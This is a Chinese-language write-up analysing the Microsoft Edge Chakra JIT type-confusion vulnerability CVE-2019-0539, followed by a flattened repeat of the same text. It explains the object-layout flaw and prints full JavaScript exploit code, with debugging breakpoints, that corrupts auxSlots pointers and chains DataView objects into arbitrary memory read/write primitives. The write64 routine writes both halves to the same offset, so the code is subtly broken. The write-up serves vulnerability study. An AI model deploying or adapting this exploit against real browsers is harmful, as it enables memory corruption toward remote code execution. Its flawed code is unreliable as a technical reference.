深入分析Microsoft Edge Chakra JIT类型混淆漏洞的利用方式
字数 1170 2025-08-05 19:10:02

Microsoft Edge Chakra JIT类型混淆漏洞(CVE-2019-0539)利用分析

漏洞概述

CVE-2019-0539是Microsoft Edge浏览器中Chakra JavaScript引擎JIT编译器的一个类型混淆漏洞。该漏洞允许攻击者覆盖JavaScript对象的auxSlots数组指针,从而可能导致任意内存读写,最终实现远程代码执行(RCE)。

漏洞背景

在Chakra引擎中,JavaScript对象(o={a: 1, b: 2};)通过Js::DynamicObject类实现,具有三种可能的内存布局:

  1. 布局#1:只有auxSlots指针,没有内联slot
  2. 布局#2:既有auxSlots指针又有内联slot
  3. 布局#3:只有内联slot,没有auxSlots指针

漏洞成因

在POC中,对象"o"最初以布局#3开始生命周期。当JIT代码调用OP_InitClass函数时,对象的内存布局被更改为布局#1。然而,JIT代码不知道这一变化,仍尝试更新第一个内联slot中的属性,实际上却覆盖了auxSlots指针。

利用策略

基本思路

  1. 覆盖DynamicObjectauxSlots指针
  2. 通过损坏的对象控制其他有用对象
  3. 实现任意内存读写(R/W)原语

利用步骤详解

第一步:设置中间对象

obj = {}
obj.a = 1; obj.b = 2; obj.c = 3; obj.d = 4;
obj.e = 5; obj.f = 6; obj.g = 7; obj.h = 8;
obj.i = 9; obj.j = 10;

这个中间对象obj已经处于布局#1,具有足够的属性来定位到目标对象的特定字段。

第二步:触发漏洞

opt(o, cons, obj);  // o->auxSlots = obj

通过漏洞将对象oauxSlots指针指向中间对象obj

第三步:控制DataView对象

dv1 = new DataView(new ArrayBuffer(0x100));
dv2 = new DataView(new ArrayBuffer(0x100));

o.c = dv1;  // obj->auxSlots = dv1
obj.h = dv2;  // dv1->buffer = dv2

通过中间对象obj控制第一个DataView对象dv1,再通过dv1控制第二个DataView对象dv2

第四步:实现R/W原语

function read64(addr_lo, addr_hi) {
    // dv2->buffer = addr
    dv1.setUint32(0x38, addr_lo, true);
    dv1.setUint32(0x3C, addr_hi, true);
    // read from addr
    return dv2.getInt32(0, true) + dv2.getInt32(4, true) * BASE;
}

function write64(addr_lo, addr_hi, value_lo, value_hi) {
    // dv2->buffer = addr
    dv1.setUint32(0x38, addr_lo, true);
    dv1.setUint32(0x3C, addr_hi, true);
    // write to addr
    dv2.setInt32(0, value_lo, true);
    dv2.setInt32(0, value_hi, true);
}

通过精确控制dv2的缓冲区指针,实现任意地址的读写操作。

完整利用代码

obj = {}
obj.a = 1; obj.b = 2; obj.c = 3; obj.d = 4;
obj.e = 5; obj.f = 6; obj.g = 7; obj.h = 8;
obj.i = 9; obj.j = 10;

dv1 = new DataView(new ArrayBuffer(0x100));
dv2 = new DataView(new ArrayBuffer(0x100));

BASE = 0x100000000;

function hex(x) {
    return "0x" + x.toString(16);
}

function opt(o, c, value) {
    o.b = 1;
    class A extends c {}
    o.a = value;
}

function main() {
    for (let i = 0; i < 2000; i++) {
        let o = {a: 1, b: 2};
        opt(o, (function() {}), {});
    }
    
    let o = {a: 1, b: 2};
    let cons = function() {};
    cons.prototype = o;
    
    opt(o, cons, obj);  // o->auxSlots = obj
    o.c = dv1;          // obj->auxSlots = dv1
    obj.h = dv2;        // dv1->buffer = dv2
    
    let read64 = function(addr_lo, addr_hi) {
        dv1.setUint32(0x38, addr_lo, true);
        dv1.setUint32(0x3C, addr_hi, true);
        return dv2.getInt32(0, true) + dv2.getInt32(4, true) * BASE;
    }
    
    let write64 = function(addr_lo, addr_hi, value_lo, value_hi) {
        dv1.setUint32(0x38, addr_lo, true);
        dv1.setUint32(0x3C, addr_hi, true);
        dv2.setInt32(0, value_lo, true);
        dv2.setInt32(0, value_hi, true);
    }
    
    // 示例使用
    vtable_lo = dv1.getUint32(0, true);
    vtable_hi = dv1.getUint32(4, true);
    print(hex(vtable_lo + vtable_hi * BASE));
    
    print(hex(read64(vtable_lo, vtable_hi)));
    write64(0x22222222, 0x11111111, 0x1337, 0x1337);
}

main();

调试技巧

  1. ch!WScriptJsrt::EchoCallback设置断点,用于在执行print()时暂停
  2. chakracore!Js::DynamicTypeHandler::SetSlotUnchecked设置断点,用于在执行属性赋值前暂停
  3. 结合使用这两个断点可以清晰地跟踪对象内存布局的变化

注意事项

  1. Microsoft Edge进程运行在沙箱中,需要额外的漏洞实现沙箱逃逸
  2. 获取R/W原语只是第一步,还需要重定向执行流才能实现完整RCE
  3. 实际利用需要考虑内存地址随机化(ASLR)等缓解措施

总结

通过精心构造的JavaScript对象链和DataView对象,利用CVE-2019-0539漏洞可以实现强大的任意内存读写原语。这种利用技术展示了如何通过类型混淆漏洞逐步控制内存布局,最终获得对进程内存的完全控制。

Microsoft Edge Chakra JIT类型混淆漏洞(CVE-2019-0539)利用分析 漏洞概述 CVE-2019-0539是Microsoft Edge浏览器中Chakra JavaScript引擎JIT编译器的一个类型混淆漏洞。该漏洞允许攻击者覆盖JavaScript对象的 auxSlots 数组指针,从而可能导致任意内存读写,最终实现远程代码执行(RCE)。 漏洞背景 在Chakra引擎中,JavaScript对象( o={a: 1, b: 2}; )通过 Js::DynamicObject 类实现,具有三种可能的内存布局: 布局#1 :只有 auxSlots 指针,没有内联slot 布局#2 :既有 auxSlots 指针又有内联slot 布局#3 :只有内联slot,没有 auxSlots 指针 漏洞成因 在POC中,对象"o"最初以布局#3开始生命周期。当JIT代码调用 OP_InitClass 函数时,对象的内存布局被更改为布局#1。然而,JIT代码不知道这一变化,仍尝试更新第一个内联slot中的属性,实际上却覆盖了 auxSlots 指针。 利用策略 基本思路 覆盖 DynamicObject 的 auxSlots 指针 通过损坏的对象控制其他有用对象 实现任意内存读写(R/W)原语 利用步骤详解 第一步:设置中间对象 这个中间对象 obj 已经处于布局#1,具有足够的属性来定位到目标对象的特定字段。 第二步:触发漏洞 通过漏洞将对象 o 的 auxSlots 指针指向中间对象 obj 。 第三步:控制DataView对象 通过中间对象 obj 控制第一个DataView对象 dv1 ,再通过 dv1 控制第二个DataView对象 dv2 。 第四步:实现R/W原语 通过精确控制 dv2 的缓冲区指针,实现任意地址的读写操作。 完整利用代码 调试技巧 在 ch!WScriptJsrt::EchoCallback 设置断点,用于在执行 print() 时暂停 在 chakracore!Js::DynamicTypeHandler::SetSlotUnchecked 设置断点,用于在执行属性赋值前暂停 结合使用这两个断点可以清晰地跟踪对象内存布局的变化 注意事项 Microsoft Edge进程运行在沙箱中,需要额外的漏洞实现沙箱逃逸 获取R/W原语只是第一步,还需要重定向执行流才能实现完整RCE 实际利用需要考虑内存地址随机化(ASLR)等缓解措施 总结 通过精心构造的JavaScript对象链和DataView对象,利用CVE-2019-0539漏洞可以实现强大的任意内存读写原语。这种利用技术展示了如何通过类型混淆漏洞逐步控制内存布局,最终获得对进程内存的完全控制。